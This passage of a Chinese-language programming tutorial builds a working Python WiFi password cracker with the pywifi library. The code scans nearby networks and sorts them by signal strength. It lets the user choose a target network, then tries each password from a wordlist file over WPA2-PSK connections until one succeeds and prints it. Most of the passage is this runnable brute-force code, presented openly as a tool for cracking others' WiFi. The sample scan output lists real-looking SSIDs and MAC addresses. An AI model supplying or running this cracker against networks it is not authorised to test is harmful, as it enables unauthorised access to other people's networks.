<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi_list_parameter = &#123;<span class="string">&#x27;SSID&#x27;</span>: [], <span class="string">&#x27;Singnal level&#x27;</span>: [], <span class="string">&#x27;BSSID&#x27;</span>: [], <span class="string">&#x27;Frequency&#x27;</span>: []&#125;</span><br></pre></td></tr></table></figure></div>

<blockquote>
<p>这样，我们想要去取出数据也是很简单的，毕竟是列表嘛，我们直接索引就可以了。</p>
</blockquote>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wifi_list_parameter[<span class="string">&#x27;键值&#x27;</span>].append(bss.数据)</span><br></pre></td></tr></table></figure></div>

<p>这样我们就把获取到的WiFi信息都存到字典里面了,最后，我们简单写个统计函数，统计一下有多少个wifi，但是我发现，他总是会莫名其妙的多扫描一个，而且经常把强度最强那个WiFi多扫描一遍，所以，我就使用了<code>num-1</code>来统计。大家可以去尝试一下这个问题。</p>
<blockquote>
<p>前面，我们也提到了，<strong>如果网络开关没有打开怎么办？</strong>，我们就在这里加个判断，如果网络开关没有打开，就退出程序，提示用户打开网络开关，我们使用<code>try...excepy</code>语法配合<code>sys.exit()</code>方法来实现这个功能，如果网络开关关闭就退出程序。</p>
</blockquote>
<p>最后,我们弹出我们存储的WiFi信息 <strong>(因为我们后面还要处理WiFi信息，把WiFi强度大的放在前面)</strong>,即<code>wifi_list_parameter</code>，我们这个函数的成品就是这样：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">wifi_scan</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="comment">#扫描wifi</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;正在扫描wifi...&quot;</span>+ <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">    time.sleep(<span class="number">2</span>) <span class="comment">#不休眠扫描不全</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="variable language_">self</span>.iface.scan()  <span class="comment"># 扫描附近的wifi</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">not</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;正在扫描...&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">           sys.exit(<span class="string">&quot;扫描失败，请检查网络连接&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;扫描完成&quot;</span>)</span><br><span class="line">    num = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    wifi_list_parameter = &#123;<span class="string">&#x27;SSID&#x27;</span>: [], <span class="string">&#x27;Singnal level&#x27;</span>: [], <span class="string">&#x27;BSSID&#x27;</span>: [], <span class="string">&#x27;Frequency&#x27;</span>: []&#125;</span><br><span class="line">    <span class="keyword">for</span> bss <span class="keyword">in</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">        num += <span class="number">1</span></span><br><span class="line">        wifi_list_parameter[<span class="string">&#x27;SSID&#x27;</span>].append(bss.ssid)</span><br><span class="line">        wifi_list_parameter[<span class="string">&#x27;Singnal level&#x27;</span>].append(bss.signal)</span><br><span class="line">        wifi_list_parameter[<span class="string">&#x27;BSSID&#x27;</span>].append(bss.bssid)</span><br><span class="line">        wifi_list_parameter[<span class="string">&#x27;Frequency&#x27;</span>].append(bss.freq)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;*&quot;</span> * <span class="number">20</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;共扫描到%d个wifi&quot;</span> % (num-<span class="number">1</span>)) <span class="comment">#不知道为啥pywifi会多扫描一个，所以-1</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;*&quot;</span> * <span class="number">20</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#print(wifi_list_parameter)</span></span><br><span class="line">    <span class="keyword">return</span> wifi_list_parameter</span><br></pre></td></tr></table></figure></div>

<hr>
<p>接下来就是我们要处理我们获取的WiFi信息了，我们要根据WiFi的信号强度进行排序。</p>
<p>这是<code>wifi_list_parameter</code>字典中的数据：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&#x27;SSID&#x27;</span>: [<span class="string">&#x27;szpjwfhm&#x27;</span>, <span class="string">&#x27;MERCURY_9CEE&#x27;</span>, <span class="string">&#x27;szpjwfhm_5G&#x27;</span>, <span class="string">&#x27;CMCC-5Z94&#x27;</span>, <span class="string">&#x27;szpjwfhm&#x27;</span>], <span class="string">&#x27;Singnal level&#x27;</span>: [-<span class="number">58</span>, -<span class="number">81</span>, -<span class="number">74</span>, -<span class="number">65</span>, -<span class="number">58</span>], <span class="string">&#x27;BSSID&#x27;</span>: [<span class="string">&#x27;cc:2d:21:e5:cc:b1:&#x27;</span>, <span class="string">&#x27;6c:59:40:7e:9c:ee:&#x27;</span>, <span class="string">&#x27;cc:2d:21:e5:cc:b5:&#x27;</span>, <span class="string">&#x27;ec:6c:b5:ea:3f:28:&#x27;</span>, <span class="string">&#x27;cc:2d:21:e5:cc:b1:&#x27;</span>], <span class="string">&#x27;Frequency&#x27;</span>: [<span class="number">2417000</span>, <span class="number">2472000</span>, <span class="number">5745000</span>, <span class="number">2442000</span>, <span class="number">2417000</span>]&#125;</span><br></pre></td></tr></table></figure></div>

<p>我们要把信号强度大的放在前面，所以我们需要对这个字典进行排序。</p>
<p>我们先写一个函数<code>read_wifi_data()</code>来读取字典中的数据，然后再写一个函数进行排序，即<code>indexed_quicksort()</code>函数。</p>
<blockquote>
<p>不过，<code>read_wifi_data()</code>函数的功能基于<code>wifi_scan()</code>函数，所以，我们先写排序。</p>
</blockquote>
<blockquote>
<p>在这里我们选择<code>快速排序</code>算法，用<strong>快速排序</strong>算法来把信号强度大的放在前面，然后获取排序前的索引，然后根据索引来获取排序后的数据。一般来说，排序是把小的数字放在前面，大的数字放在后面，但是WiFi的强度<code>signal</code>是负数,越接近0，网络强度越好，所以，我们选择把信号强度大的放在前面。</p>
</blockquote>
<hr>
<p>快速排序算法我们暂时不讲，后面咱们专门出一期排序算法的文章。(快速排序算法并不难，大家可以用调试器，去看看它的原理，我给出大家可以调试的代码,这个代码大家新建一个文件复制过去直接调试就行了)</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">indexed_quicksort</span>(<span class="params">array</span>):</span><br><span class="line">    <span class="comment"># 创建一个包含 (值, 原始索引) 的列表</span></span><br><span class="line">    arr_with_index = [(value, index) <span class="keyword">for</span> index, value <span class="keyword">in</span> <span class="built_in">enumerate</span>(array)]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 快速排序函数，对 arr_with_index 进行排序</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">quicksort</span>(<span class="params">arr</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(arr) &lt;= <span class="number">1</span>:</span><br><span class="line">            <span class="keyword">return</span> arr</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># 随机选择基准元素</span></span><br><span class="line">            pivot_index = random.randint(<span class="number">0</span>, <span class="built_in">len</span>(arr) - <span class="number">1</span>)</span><br><span class="line">            pivot = arr[pivot_index][<span class="number">0</span>]</span><br><span class="line">            left = []  <span class="comment"># 小于基准的元素</span></span><br><span class="line">            right = []  <span class="comment"># 大于基准的元素</span></span><br><span class="line">            middle = []  <span class="comment"># 等于基准的元素</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> value, original_index <span class="keyword">in</span> arr:</span><br><span class="line">                <span class="keyword">if</span> value &lt; pivot:</span><br><span class="line">                    left.append((value, original_index))</span><br><span class="line">                <span class="keyword">elif</span> value &gt; pivot:</span><br><span class="line">                    right.append((value, original_index))</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    middle.append((value, original_index))</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> quicksort(right) + middle + quicksort(left)  <span class="comment"># 将较大的元素放在前面</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 执行快速排序</span></span><br><span class="line">    sorted_arr_with_index = quicksort(arr_with_index)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 提取排序后的值和原始索引</span></span><br><span class="line">    <span class="comment"># sorted_values = [value for value, _ in sorted_arr_with_index]  # 获取排序后的值</span></span><br><span class="line">    sorted_original_indices = [index <span class="keyword">for</span> _, index <span class="keyword">in</span> sorted_arr_with_index]  <span class="comment"># 获取排序后的值的原始索引，用来匹配WiFi的信息</span></span><br><span class="line">    <span class="comment"># print(sorted_original_indices)</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> sorted_original_indices</span><br><span class="line"></span><br><span class="line">ee = indexed_quicksort([<span class="number">3</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">1</span>])</span><br><span class="line"><span class="built_in">print</span>(ee)</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<hr>
<p>我们现在需要知道的是，<code>indexed_quicksort()</code>函数返回的是<strong>排序后</strong>的值的<strong>原始索引</strong>，所以，我们需要根据这个索引来获取<strong>排序后的值</strong>。</p>
<p>比如这个代码：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ee = indexed_quicksort([<span class="number">3</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">1</span>])</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>输出：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">排序前：</span><br><span class="line">ee = [<span class="number">3</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">1</span>]</span><br><span class="line">排序后：</span><br><span class="line">ee_1 =[<span class="number">10</span>, <span class="number">8</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">1</span>]</span><br><span class="line">原始索引(排序后的值的索引，即<span class="number">10</span>在ee[<span class="number">3</span>], <span class="number">8</span>在ee[<span class="number">2</span>], <span class="number">6</span>在ee[<span class="number">1</span>]...)：</span><br><span class="line">[<span class="number">3</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="number">6</span>]</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>



<p>我们就得继续写<code>read_wifi_data()</code>函数，来读取字典中的数据，然后再根据索引来获取排序后的值。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">read_wifi_data</span>(<span class="params">self,item_dict</span>):<span class="comment">#读取wifi数据，传入的item_dict为字典类型，包含wifi信息</span></span><br><span class="line">    <span class="comment">#&#123;&#x27;SSID&#x27;: &#123;&#x27;MERCURY_9CEE&#x27;, &#x27;szpjwfhm_5G&#x27;, &#x27;szpjwfhm&#x27;, &#x27;CMCC-5Z94&#x27;&#125;, &#x27;Singnal level&#x27;: &#123;-71, -70, -59, -83&#125;, &#x27;BSSID&#x27;: &#123;&#x27;cc:2d:21:e5:cc:b1:&#x27;, &#x27;cc:2d:21:e5:cc:b5:&#x27;, &#x27;6c:59:40:7e:9c:ee:&#x27;, &#x27;ec:6c:b5:ea:3f:28:&#x27;&#125;, &#x27;Frequency&#x27;: &#123;2417000, 2472000, 5745000, 2447000&#125;&#125;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;正在处理数据...&quot;</span>)</span><br><span class="line">    <span class="comment">#将信号强度列表进行排序</span></span><br><span class="line">    wifi_list = <span class="variable language_">self</span>.indexed_quicksort(item_dict[<span class="string">&#x27;Singnal level&#x27;</span>])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;排序完成&quot;</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#读取wifi数据</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;正在读取wifi数据...&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">    num = <span class="number">0</span></span><br><span class="line">    wifi_signal_list = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(wifi_list)):</span><br><span class="line">        num += <span class="number">1</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在读取第%d个wifi数据...&quot;</span> % (num))</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;WiFi编号：%d&quot;</span> % (num))</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;名称：%s&quot;</span> % item_dict[<span class="string">&#x27;SSID&#x27;</span>][wifi_list[i]])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;MAC地址：%s&quot;</span> % item_dict[<span class="string">&#x27;BSSID&#x27;</span>][wifi_list[i]])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;频率：%s&quot;</span> % item_dict[<span class="string">&#x27;Frequency&#x27;</span>][wifi_list[i]])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;信号强度：%s&quot;</span> % item_dict[<span class="string">&#x27;Singnal level&#x27;</span>][wifi_list[i]])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span>)</span><br><span class="line"></span><br><span class="line">        wifi_signal_list.append(item_dict[<span class="string">&#x27;SSID&#x27;</span>][wifi_list[i]])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;读取完成&quot;</span>)</span><br><span class="line">    <span class="comment">#print(wifi_signal_list)</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;*&quot;</span> * <span class="number">20</span>)</span><br><span class="line">    <span class="keyword">return</span> i,wifi_signal_list</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>排完序，我们再创建一个<code>wifi_signal_list</code>列表，把排序后的信号强度大的放在前面，当然我们只放WiFi的名字(SSID)就行了,再前面的<code>pywifi</code>库中，WiFi的配置只需要名字和密码，名字我们放在这里，密码我们就放在text文件中了。</p>
<p>最后，我们把<code>read_wifi_data()</code>函数的返回值<code>i,wifi_signal_list</code>返回，即<code>i</code>是排序后的索引，<code>wifi_signal_list</code>是排序后的WiFi的名字(SSID)的列表，因为我们要选择要破解的WiFi，所以我就需要<code>i</code>这个参数来确保我们的输入的数字是正确的，能让我们正确索引列表。</p>
<p><strong>注意</strong>：<code>i</code>是从0开始的，所以到时候判断输入的索引范围的时候要注意一下。</p>
<hr>
<p>接下来，按照思路，我们应该写一个来选择要破解的WiFi的函数，即<code>wifi_attack_choose</code>函数。</p>
<p>这个函数，我们要传入，我们上个编写的函数的<code>i</code>参数，以及<code>wifi_signal_list</code>参数，然后，我们就能根据<code>i</code>参数来选择要破解的WiFi。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">wifi_attack_choose</span>(<span class="params">self,count,singnal_list</span>):<span class="comment">#选择需要破解的wifi</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="comment"># 选择需要破解的wifi</span></span><br><span class="line">        choose_wifi = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&quot;请输入需要破解的wifi的编号：&quot;</span>)) - <span class="number">1</span>  <span class="comment"># 因为索引是从0开始的，所以这里要减1</span></span><br><span class="line">        <span class="keyword">if</span> choose_wifi &lt; <span class="number">0</span> <span class="keyword">or</span> choose_wifi &gt; count:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;输入错误，请重新输入&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<blockquote>
<p><code>choose_wifi</code>数字是比<code>i</code>大一的，因为<code>i</code>是从0开始，而平常我们是从一开始的，所以，我们要减1。</p>
</blockquote>
<p>写完这个函数，我们就要开始配置文件了。</p>
<hr>
<p>按照我们<code>pywifi</code>库的使用方法，我们先写一个简单的配置</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">profile = Profile()</span><br><span class="line">profile.ssid = <span class="string">&quot;需要破解的wifi名称&quot;</span>  <span class="comment"># wifi名称</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 网卡开放状态</span></span><br><span class="line"><span class="comment"># &quot;Auth - AP&quot; 验证算法</span></span><br><span class="line">profile.auth = const.AUTH_ALG_OPEN</span><br><span class="line"></span><br><span class="line"><span class="comment"># WiFi的加密算法为&quot;WPA&quot;</span></span><br><span class="line"><span class="comment"># 选择WiFi加密算法</span></span><br><span class="line"><span class="comment"># &quot;Akm - AP&quot; 的密钥管理</span></span><br><span class="line">profile.akm.append(const.AKM_TYPE_WPA2PSK)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加密单元</span></span><br><span class="line"><span class="comment"># &quot;Cipher - AP&quot; 密码类型</span></span><br><span class="line">profile.cipher = const.CIPHER_TYPE_CCMP  <span class="comment"># 加密单元</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置密码</span></span><br><span class="line">profile.key = 字典中保存的密码  <span class="comment"># wifi密码</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">self</span>.iface.remove_all_network_profiles()  <span class="comment"># 删除所有wifi配置文件</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">self</span>.iface.add_network_profile(profile)  <span class="comment"># 添加wifi配置文件</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">self</span>.iface.connect(profile)  <span class="comment"># 连接wifi</span></span><br><span class="line">time.sleep(<span class="number">1</span>) <span class="comment">#等待连接,这个可以防止连接过快导致无法连接</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="variable language_">self</span>.iface.status() == const.IFACE_CONNECTED:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;密码: %s 校验成功&quot;</span> % try_password)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;密码为：%s&quot;</span> % try_password)</span><br><span class="line">    <span class="built_in">input</span>(<span class="string">&quot;按任意键退出&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;密码: %s 校验失败&quot;</span> % try_password)</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>这就是我们的配置，我们想想，我们要干什么，要循环读取字典中保存的密码进行尝试，所以，我们就得循环读取字典中的密码，然后尝试连接，如果连接成功，就打印密码，如果连接失败，就继续尝试下一个密码。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">path = <span class="string">&quot;wifi_password.txt&quot;</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(path, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    data = f.read()</span><br><span class="line">    data = data.split(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<blockquote>
<p>我们这里读取密码的文本文件，文件中每一行保存一个密码，所以，我们要用<code>split()</code>函数把文件的换行符去掉。</p>
</blockquote>
<blockquote>
<p>然后我们循环遍历字典</p>
</blockquote>
 <div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">wifi_crack</span>(<span class="params">self,wifi_name_attack</span>):<span class="comment">#破解wifi密码</span></span><br><span class="line">     <span class="built_in">print</span>(<span class="string">&quot;正在破解wifi密码...&quot;</span>)</span><br><span class="line">     <span class="comment"># 读取字典文件</span></span><br><span class="line">     <span class="comment"># 字典文件格式：text</span></span><br><span class="line"></span><br><span class="line">     path = <span class="string">&quot;wifi_password.txt&quot;</span></span><br><span class="line">     <span class="keyword">with</span> <span class="built_in">open</span>(path, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">         data = f.read()</span><br><span class="line">         data = data.split(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">         <span class="keyword">for</span> try_password <span class="keyword">in</span> data:</span><br><span class="line"></span><br><span class="line">             <span class="comment">#print(line)</span></span><br><span class="line"></span><br><span class="line">             profile = Profile()</span><br><span class="line">             profile.ssid = wifi_name_attack  <span class="comment"># wifi名称</span></span><br><span class="line"></span><br><span class="line">             <span class="comment"># 网卡开放状态</span></span><br><span class="line">             <span class="comment"># &quot;Auth - AP&quot; 验证算法</span></span><br><span class="line">             profile.auth = const.AUTH_ALG_OPEN</span><br><span class="line"></span><br><span class="line">             <span class="comment"># WiFi的加密算法为&quot;WPA&quot;</span></span><br><span class="line">             <span class="comment"># 选择WiFi加密算法</span></span><br><span class="line">             <span class="comment"># &quot;Akm - AP&quot; 的密钥管理</span></span><br><span class="line">             profile.akm.append(const.AKM_TYPE_WPA2PSK)</span><br><span class="line"></span><br><span class="line">             <span class="comment"># 加密单元</span></span><br><span class="line">             <span class="comment"># &quot;Cipher - AP&quot; 密码类型</span></span><br><span class="line">             profile.cipher = const.CIPHER_TYPE_CCMP  <span class="comment"># 加密单元</span></span><br><span class="line"></span><br><span class="line">             <span class="comment"># 设置密码</span></span><br><span class="line">             profile.key = try_password  <span class="comment"># wifi密码</span></span><br><span class="line"></span><br><span class="line">             <span class="variable language_">self</span>.iface.remove_all_network_profiles()  <span class="comment"># 删除所有wifi配置文件</span></span><br><span class="line"></span><br><span class="line">             <span class="variable language_">self</span>.iface.add_network_profile(profile)  <span class="comment"># 添加wifi配置文件</span></span><br><span class="line"></span><br><span class="line">             <span class="variable language_">self</span>.iface.connect(profile)  <span class="comment"># 连接wifi</span></span><br><span class="line">             time.sleep(<span class="number">1</span>) <span class="comment">#等待连接,这个可以防止连接过快导致无法连接</span></span><br><span class="line"></span><br><span class="line">             <span class="keyword">if</span> <span class="variable language_">self</span>.iface.status() == const.IFACE_CONNECTED:</span><br><span class="line">                 <span class="built_in">print</span>(<span class="string">&quot;密码: %s 校验成功&quot;</span> % try_password)</span><br><span class="line">                 <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;密码为：%s&quot;</span> % try_password)</span><br><span class="line">                 <span class="built_in">input</span>(<span class="string">&quot;按任意键退出&quot;</span>)</span><br><span class="line">                 <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">             <span class="keyword">else</span>:</span><br><span class="line">                 <span class="built_in">print</span>(<span class="string">&quot;密码: %s 校验失败&quot;</span> % try_password)</span><br><span class="line">                 <span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>这样，我们的WiFi密码破解器就完成了。</p>
<hr>
<h3 id="代码解析-快速排序算法"><a href="#代码解析-快速排序算法" class="headerlink" title="代码解析:快速排序算法"></a>代码解析:快速排序算法</h3><p>下面是代码示例：</p>
